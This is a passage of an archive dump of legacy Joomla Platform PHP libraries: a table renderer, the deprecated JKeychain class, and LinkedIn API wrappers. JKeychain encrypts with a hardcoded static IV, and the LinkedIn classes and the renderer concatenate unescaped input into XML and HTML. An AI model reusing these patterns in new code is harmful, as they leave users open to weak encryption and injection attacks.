$this->renderArea($this->specialRows['footer'],
'tfoot');
}
$ids = array_diff(array_keys($this->rows),
array_merge($this->specialRows['header'],
$this->specialRows['footer']));
if (count($ids))
{
$output[] = $this->renderArea($ids);
}
$output[] = '</table>';
return implode('', $output);
}
/**
* Render an area of the table
*
* @param array $ids IDs of the rows to render
* @param string $area Name of the area to render. Valid: tbody,
tfoot, thead
* @param string $cell Name of the cell to render. Valid: td, th
*
* @return string The rendered table area
*
* @since 1.7.3
*/
protected function renderArea($ids, $area = 'tbody', $cell =
'td')
{
$output = array();
$output[] = '<' . $area . ">\n";
foreach ($ids as $id)
{
$output[] = "\t<tr" .
$this->renderAttributes($this->rows[$id]['_row']) .
">\n";
foreach ($this->getColumns() as $name)
{
if (isset($this->rows[$id][$name]))
{
$column = $this->rows[$id][$name];
$output[] = "\t\t<" . $cell .
$this->renderAttributes($column->options) . '>' .
$column->content . '</' . $cell . ">\n";
}
}
$output[] = "\t</tr>\n";
}
$output[] = '</' . $area . '>';
return implode('', $output);
}
/**
* Renders an HTML attribute from an associative array
*
* @param array $attributes Associative array of attributes
*
* @return string The HTML attribute string
*
* @since 1.7.3
*/
protected function renderAttributes($attributes)
{
if (count((array) $attributes) == 0)
{
return '';
}
$return = array();
foreach ($attributes as $key => $option)
{
$return[] = $key . '="' . $option . '"';
}
return ' ' . implode(' ', $return);
}
}
keychain/keychain.php000064400000012614151171674110010653 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Keychain
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Keychain Class
*
* @since 3.1.4
* @deprecated 4.0 Deprecated without replacement
*/
class JKeychain extends \Joomla\Registry\Registry
{
/**
* @var string Method to use for encryption.
* @since 3.1.4
*/
public $method = 'aes-128-cbc';
/**
* @var string Initialisation vector for encryption method.
* @since 3.1.4
*/
public $iv = '1234567890123456';
/**
* Create a passphrase file
*
* @param string $passphrase The passphrase to store in the
passphrase file.
* @param string $passphraseFile Path to the passphrase file to
create.
* @param string $privateKeyFile Path to the private key file to
encrypt the passphrase file.
* @param string $privateKeyPassphrase The passphrase for the private
key.
*
* @return boolean Result of writing the passphrase file to disk.
*
* @since 3.1.4
* @throws RuntimeException
*/
public function createPassphraseFile($passphrase, $passphraseFile,
$privateKeyFile, $privateKeyPassphrase)
{
$privateKey = openssl_get_privatekey(file_get_contents($privateKeyFile),
$privateKeyPassphrase);
if (!$privateKey)
{
throw new RuntimeException('Failed to load private key.');
}
$crypted = '';
if (!openssl_private_encrypt($passphrase, $crypted, $privateKey))
{
throw new RuntimeException('Failed to encrypt data using private
key.');
}
return file_put_contents($passphraseFile, $crypted);
}
/**
* Delete a registry value (very simple method)
*
* @param string $path Registry Path (e.g. joomla.content.showauthor)
*
* @return mixed Value of old value or boolean false if operation failed
*
* @since 3.1.4
*/
public function deleteValue($path)
{
$result = null;
// Explode the registry path into an array
$nodes = explode('.', $path);
if ($nodes)
{
// Initialize the current node to be the registry root.
$node = $this->data;
// Traverse the registry to find the correct node for the result.
for ($i = 0, $n = count($nodes) - 1; $i < $n; $i++)
{
if (!isset($node->{$nodes[$i]}) && ($i != $n))
{
$node->{$nodes[$i]} = new stdClass;
}
$node = $node->{$nodes[$i]};
}
// Get the old value if exists so we can return it
$result = $node->{$nodes[$i]};
unset($node->{$nodes[$i]});
}
return $result;
}
/**
* Load a keychain file into this object.
*
* @param string $keychainFile Path to the keychain file.
* @param string $passphraseFile The path to the passphrase file to
decript the keychain.
* @param string $publicKeyFile The file containing the public key to
decrypt the passphrase file.
*
* @return boolean Result of loading the object.
*
* @since 3.1.4
* @throws RuntimeException
*/
public function loadKeychain($keychainFile, $passphraseFile,
$publicKeyFile)
{
if (!file_exists($keychainFile))
{
throw new RuntimeException('Attempting to load non-existent
keychain file');
}
$passphrase = $this->getPassphraseFromFile($passphraseFile,
$publicKeyFile);
$cleartext = openssl_decrypt(file_get_contents($keychainFile),
$this->method, $passphrase, true, $this->iv);
if ($cleartext === false)
{
throw new RuntimeException('Failed to decrypt keychain file');
}
return $this->loadObject(json_decode($cleartext));
}
/**
* Save this keychain to a file.
*
* @param string $keychainFile The path to the keychain file.
* @param string $passphraseFile The path to the passphrase file to
encrypt the keychain.
* @param string $publicKeyFile The file containing the public key to
decrypt the passphrase file.
*
* @return boolean Result of storing the file.
*
* @since 3.1.4
* @throws RuntimeException
*/
public function saveKeychain($keychainFile, $passphraseFile,
$publicKeyFile)
{
$passphrase = $this->getPassphraseFromFile($passphraseFile,
$publicKeyFile);
$data = $this->toString('JSON');
$encrypted = @openssl_encrypt($data, $this->method, $passphrase, true,
$this->iv);
if ($encrypted === false)
{
throw new RuntimeException('Unable to encrypt keychain');
}
return file_put_contents($keychainFile, $encrypted);
}
/**
* Get the passphrase for this keychain
*
* @param string $passphraseFile The file containing the passphrase to
encrypt and decrypt.
* @param string $publicKeyFile The file containing the public key to
decrypt the passphrase file.
*
* @return string The passphrase in from passphraseFile
*
* @since 3.1.4
* @throws RuntimeException
*/
protected function getPassphraseFromFile($passphraseFile, $publicKeyFile)
{
if (!file_exists($publicKeyFile))
{
throw new RuntimeException('Missing public key file');
}
$publicKey = openssl_get_publickey(file_get_contents($publicKeyFile));
if (!$publicKey)
{
throw new RuntimeException('Failed to load public key.');
}
if (!file_exists($passphraseFile))
{
throw new RuntimeException('Missing passphrase file');
}
$passphrase = '';
if (!openssl_public_decrypt(file_get_contents($passphraseFile),
$passphrase, $publicKey))
{
throw new RuntimeException('Failed to decrypt passphrase
file');
}
return $passphrase;
}
}
linkedin/communications.php000064400000013711151171674110012111
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API Social Communications class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinCommunications extends JLinkedinObject
{
/**
* Method used to invite people.
*
* @param string $email A string containing email of the
recipient.
* @param string $firstName A string containing first name of the
recipient.
* @param string $lastName A string containing last name of the
recipient.
* @param string $subject The subject of the message that will be
sent to the recipient
* @param string $body A text of the message.
* @param string $connection Only connecting as a 'friend'
is supported presently.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function inviteByEmail($email, $firstName, $lastName, $subject,
$body, $connection = 'friend')
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base.
$base = '/v1/people/~/mailbox';
// Build the xml.
$xml = '<mailbox-item>
<recipients>
<recipient>
<person path="/people/email=' . $email .
'">
<first-name>' . $firstName . '</first-name>
<last-name>' . $lastName . '</last-name>
</person>
</recipient>
</recipients>
<subject>' . $subject . '</subject>
<body>' . $body . '</body>
<item-content>
<invitation-request>
<connect-type>' . $connection .
'</connect-type>
</invitation-request>
</item-content>
</mailbox-item>';
$header['Content-Type'] = 'text/xml';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method used to invite people.
*
* @param string $id Member id.
* @param string $firstName A string containing first name of the
recipient.
* @param string $lastName A string containing last name of the
recipient.
* @param string $subject The subject of the message that will be
sent to the recipient
* @param string $body A text of the message.
* @param string $connection Only connecting as a 'friend'
is supported presently.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function inviteById($id, $firstName, $lastName, $subject, $body,
$connection = 'friend')
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base for people search.
$base =
'/v1/people-search:(people:(api-standard-profile-request))';
$data['format'] = 'json';
$data['first-name'] = $firstName;
$data['last-name'] = $lastName;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
if (strpos($response->body, 'apiStandardProfileRequest') ===
false)
{
throw new RuntimeException($response->body);
}
// Get header value.
$value = explode('"value": "',
$response->body);
$value = explode('"', $value[1]);
$value = $value[0];
// Split on the colon character.
$value = explode(':', $value);
$name = $value[0];
$value = $value[1];
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base.
$base = '/v1/people/~/mailbox';
// Build the xml.
$xml = '<mailbox-item>
<recipients>
<recipient>
<person path="/people/id=' . $id . '">
</person>
</recipient>
</recipients>
<subject>' . $subject . '</subject>
<body>' . $body . '</body>
<item-content>
<invitation-request>
<connect-type>' . $connection .
'</connect-type>
<authorization>
<name>' . $name . '</name>
<value>' . $value . '</value>
</authorization>
</invitation-request>
</item-content>
</mailbox-item>';
$header['Content-Type'] = 'text/xml';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method used to send messages via LinkedIn between two or more
individuals connected to the member sending the message..
*
* @param mixed $recipient A string containing the member id or an
array of ids.
* @param string $subject The subject of the message that will be
sent to the recipient
* @param string $body A text of the message.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function sendMessage($recipient, $subject, $body)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base.
$base = '/v1/people/~/mailbox';
// Build the xml.
$xml = '<mailbox-item>
<recipients>';
if (is_array($recipient))
{
foreach ($recipient as $r)
{
$xml .= '<recipient>
<person path="/people/' . $r . '"/>
</recipient>';
}
}
$xml .= '</recipients>
<subject>' . $subject . '</subject>
<body>' . $body . '</body>
</mailbox-item>';
$header['Content-Type'] = 'text/xml';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
}
linkedin/companies.php000064400000025612151171674110011042 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API Companies class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinCompanies extends JLinkedinObject
{
/**
* Method to retrieve companies using a company ID, a universal name, or
an email domain.
*
* @param integer $id The unique internal numeric company
identifier.
* @param string $name The unique string identifier for a company.
* @param string $domain Company email domains.
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
* @throws RuntimeException
*/
public function getCompanies($id = null, $name = null, $domain = null,
$fields = null)
{
// At least one value is needed to retrieve data.
if ($id == null && $name == null && $domain == null)
{
// We don't have a valid entry
throw new RuntimeException('You must specify a company ID, a
universal name, or an email domain.');
}
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/companies';
if ($id && $name)
{
$base .= '::(' . $id . ',universal-name=' . $name .
')';
}
elseif ($id)
{
$base .= '/' . $id;
}
elseif ($name)
{
$base .= '/universal-name=' . $name;
}
// Set request parameters.
$data['format'] = 'json';
if ($domain)
{
$data['email-domain'] = $domain;
}
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to read shares for a particular company .
*
* @param string $id The unique company identifier.
* @param string $type Any valid Company Update Type from the table:
https://developer.linkedin.com/reading-company-updates.
* @param integer $count Maximum number of updates to return.
* @param integer $start The offset by which to start Network Update
pagination.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getUpdates($id, $type = null, $count = 0, $start = 0)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/companies/' . $id . '/updates';
// Set request parameters.
$data['format'] = 'json';
// Check if type is specified.
if ($type)
{
$data['event-type'] = $type;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to search across company pages.
*
* @param string $fields Request fields beyond the default ones.
* @param string $keywords Members who have all the keywords anywhere
in their profile.
* @param boolean $hq Matching companies by the headquarters
location. When this is set to "true" and a location facet is
used,
* this restricts returned companies to only those whose
headquarters resides in the specified location.
* @param string $facets Facet buckets to return, e.g. location.
* @param array $facet Array of facet values to search over.
Contains values for location, industry, network, company-size,
* num-followers-range and fortune, in exactly this order, null
must be specified for an element if no value.
* @param integer $start Starting location within the result set
for paginated returns.
* @param integer $count The number of results returned.
* @param string $sort Controls the search result order. There
are four options: relevance, relationship,
* followers and company-size.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function search($fields = null, $keywords = null, $hq = false,
$facets = null, $facet = null, $start = 0, $count = 0, $sort = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/company-search';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if keywords is specified.
if ($keywords)
{
$data['keywords'] = $keywords;
}
// Check if hq is true.
if ($hq)
{
$data['hq-only'] = $hq;
}
// Check if facets is specified.
if ($facets)
{
$data['facets'] = $facets;
}
// Check if facet is specified.
if ($facet)
{
$data['facet'] = array();
for ($i = 0, $iMax = count($facet); $i < $iMax; $i++)
{
if ($facet[$i])
{
if ($i == 0)
{
$data['facet'][] = 'location,' . $facet[$i];
}
if ($i == 1)
{
$data['facet'][] = 'industry,' . $facet[$i];
}
if ($i == 2)
{
$data['facet'][] = 'network,' . $facet[$i];
}
if ($i == 3)
{
$data['facet'][] = 'company-size,' . $facet[$i];
}
if ($i == 4)
{
$data['facet'][] = 'num-followers-range,' .
$facet[$i];
}
if ($i == 5)
{
$data['facet'][] = 'fortune,' . $facet[$i];
}
}
}
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if sort is specified.
if ($sort)
{
$data['sort'] = $sort;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get a list of companies the current member is following.
*
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getFollowed($fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/following/companies';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to follow a company.
*
* @param string $id The unique identifier for a company.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function follow($id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/following/companies';
// Build xml.
$xml = '<company><id>' . $id .
'</id></company>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to unfollow a company.
*
* @param string $id The unique identifier for a company.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function unfollow($id)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/people/~/following/companies/id=' . $id;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
/**
* Method to get a collection of suggested companies for the current user.
*
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set for
paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getSuggested($fields = null, $start = 0, $count = 0)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/suggestions/to-follow/companies';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get a collection of suggested companies for the current user.
*
* @param string $id The unique identifier for a company.
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set for
paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getProducts($id, $fields = null, $start = 0, $count = 0)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/companies/' . $id . '/products';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
}
linkedin/groups.php000064400000063471151171674110010410 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Linkedin
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Linkedin API Groups class for the Joomla Platform.
*
* @since 3.2.0
*/
class JLinkedinGroups extends JLinkedinObject
{
/**
* Method to get a group.
*
* @param string $id The unique identifier for a group.
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set for
paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getGroup($id, $fields = null, $start = 0, $count = 5)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/groups/' . $id;
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count != 5)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to find the groups a member belongs to.
*
* @param string $id The unique identifier for a user.
* @param string $fields Request fields beyond the default
ones.
* @param integer $start Starting location within the result
set for paginated returns.
* @param integer $count The number of results returned.
* @param string $membershipState The state of the caller’s
membership to the specified group.
* Values are: non-member,
awaiting-confirmation, awaiting-parent-group-confirmation, member,
moderator,
* manager, owner.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getMemberships($id = null, $fields = null, $start = 0,
$count = 5, $membershipState = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if id is specified.
if ($id)
{
$base .= $id . '/group-memberships';
}
else
{
$base .= '~/group-memberships';
}
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count != 5)
{
$data['count'] = $count;
}
// Check if membership_state is specified.
if ($membershipState)
{
$data['membership-state'] = $membershipState;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to find the groups a member belongs to.
*
* @param string $personId The unique identifier for a user.
* @param string $groupId The unique identifier for a group.
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set
for paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getSettings($personId = null, $groupId = null, $fields =
null, $start = 0, $count = 5)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if person_id is specified.
if ($personId)
{
$base .= $personId . '/group-memberships';
}
else
{
$base .= '~/group-memberships';
}
// Check if group_id is specified.
if ($groupId)
{
$base .= '/' . $groupId;
}
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count != 5)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to change a groups settings.
*
* @param string $groupId The unique identifier for a group.
* @param boolean $showLogo Show group logo in profile.
* @param string $digestFrequency Email digest frequency.
* @param boolean $announcements Email announcements from managers.
* @param boolean $allowMessages Allow messages from members.
* @param boolean $newPost Email for every new post.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function changeSettings($groupId, $showLogo = null,
$digestFrequency = null, $announcements = null,
$allowMessages = null, $newPost = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/group-memberships/' . $groupId;
// Build xml.
$xml = '<group-membership>';
if (!is_null($showLogo))
{
$xml .= '<show-group-logo-in-profile>' .
$this->booleanToString($showLogo) .
'</show-group-logo-in-profile>';
}
if ($digestFrequency)
{
$xml .= '<email-digest-frequency><code>' .
$digestFrequency .
'</code></email-digest-frequency>';
}
if (!is_null($announcements))
{
$xml .= '<email-announcements-from-managers>' .
$this->booleanToString($announcements) .
'</email-announcements-from-managers>';
}
if (!is_null($allowMessages))
{
$xml .= '<allow-messages-from-members>' .
$this->booleanToString($allowMessages) .
'</allow-messages-from-members>';
}
if (!is_null($newPost))
{
$xml .= '<email-for-every-new-post>' .
$this->booleanToString($newPost) .
'</email-for-every-new-post>';
}
$xml .= '</group-membership>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response;
}
/**
* Method to join a group.
*
* @param string $groupId The unique identifier for a group.
* @param boolean $showLogo Show group logo in profile.
* @param string $digestFrequency Email digest frequency.
* @param boolean $announcements Email announcements from managers.
* @param boolean $allowMessages Allow messages from members.
* @param boolean $newPost Email for every new post.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function joinGroup($groupId, $showLogo = null, $digestFrequency =
null, $announcements = null,
$allowMessages = null, $newPost = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/group-memberships';
// Build xml.
$xml = '<group-membership><group><id>' .
$groupId . '</id></group>';
if (!is_null($showLogo))
{
$xml .= '<show-group-logo-in-profile>' .
$this->booleanToString($showLogo) .
'</show-group-logo-in-profile>';
}
if ($digestFrequency)
{
$xml .= '<email-digest-frequency><code>' .
$digestFrequency .
'</code></email-digest-frequency>';
}
if (!is_null($announcements))
{
$xml .= '<email-announcements-from-managers>' .
$this->booleanToString($announcements) .
'</email-announcements-from-managers>';
}
if (!is_null($allowMessages))
{
$xml .= '<allow-messages-from-members>' .
$this->booleanToString($allowMessages) .
'</allow-messages-from-members>';
}
if (!is_null($newPost))
{
$xml .= '<email-for-every-new-post>' .
$this->booleanToString($newPost) .
'</email-for-every-new-post>';
}
$xml .=
'<membership-state><code>member</code></membership-state></group-membership>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to leave a group.
*
* @param string $groupId The unique identifier for a group.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function leaveGroup($groupId)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/people/~/group-memberships/' . $groupId;
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'DELETE',
$parameters);
return $response;
}
/**
* Method to get dicussions for a group.
*
* @param string $id The unique identifier for a group.
* @param string $fields Request fields beyond the default
ones.
* @param integer $start Starting location within the result
set for paginated returns.
* @param integer $count The number of results returned.
* @param string $order Sort order for posts. Valid for:
recency, popularity.
* @param string $category Category of posts. Valid for:
discussion
* @param string $modifiedSince Timestamp filter for posts created
after the specified value.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getDiscussions($id, $fields = null, $start = 0, $count =
0, $order = null, $category = 'discussion', $modifiedSince =
null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/groups/' . $id . '/posts';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if order is specified.
if ($order)
{
$data['order'] = $order;
}
// Check if category is specified.
if ($category)
{
$data['category'] = $category;
}
// Check if modified_since is specified.
if ($modifiedSince)
{
$data['modified-since'] = $modifiedSince;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get posts a user started / participated in / follows for a
group.
*
* @param string $groupId The unique identifier for a group.
* @param string $role Filter for posts related to the
caller. Valid for: creator, commenter, follower.
* @param string $personId The unique identifier for a user.
* @param string $fields Request fields beyond the default
ones.
* @param integer $start Starting location within the result
set for paginated returns.
* @param integer $count The number of results returned.
* @param string $order Sort order for posts. Valid for:
recency, popularity.
* @param string $category Category of posts. Valid for:
discussion
* @param string $modifiedSince Timestamp filter for posts created
after the specified value.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getUserPosts($groupId, $role, $personId = null, $fields =
null, $start = 0, $count = 0,
$order = null, $category = 'discussion', $modifiedSince = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if person_id is specified.
if ($personId)
{
$base .= $personId;
}
else
{
$base .= '~';
}
$base .= '/group-memberships/' . $groupId . '/posts';
$data['format'] = 'json';
$data['role'] = $role;
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if order is specified.
if ($order)
{
$data['order'] = $order;
}
// Check if category is specified.
if ($category)
{
$data['category'] = $category;
}
// Check if modified_since is specified.
if ($modifiedSince)
{
$data['modified-since'] = $modifiedSince;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to retrieve details about a post.
*
* @param string $postId The unique identifier for a post.
* @param string $fields Request fields beyond the default ones.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getPost($postId, $fields = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/posts/' . $postId;
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to retrieve all comments of a post.
*
* @param string $postId The unique identifier for a post.
* @param string $fields Request fields beyond the default ones.
* @param integer $start Starting location within the result set for
paginated returns.
* @param integer $count The number of results returned.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getPostComments($postId, $fields = null, $start = 0,
$count = 0)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/posts/' . $postId . '/comments';
$data['format'] = 'json';
// Check if fields is specified.
if ($fields)
{
$base .= ':' . $fields;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to retrieve all comments of a post.
*
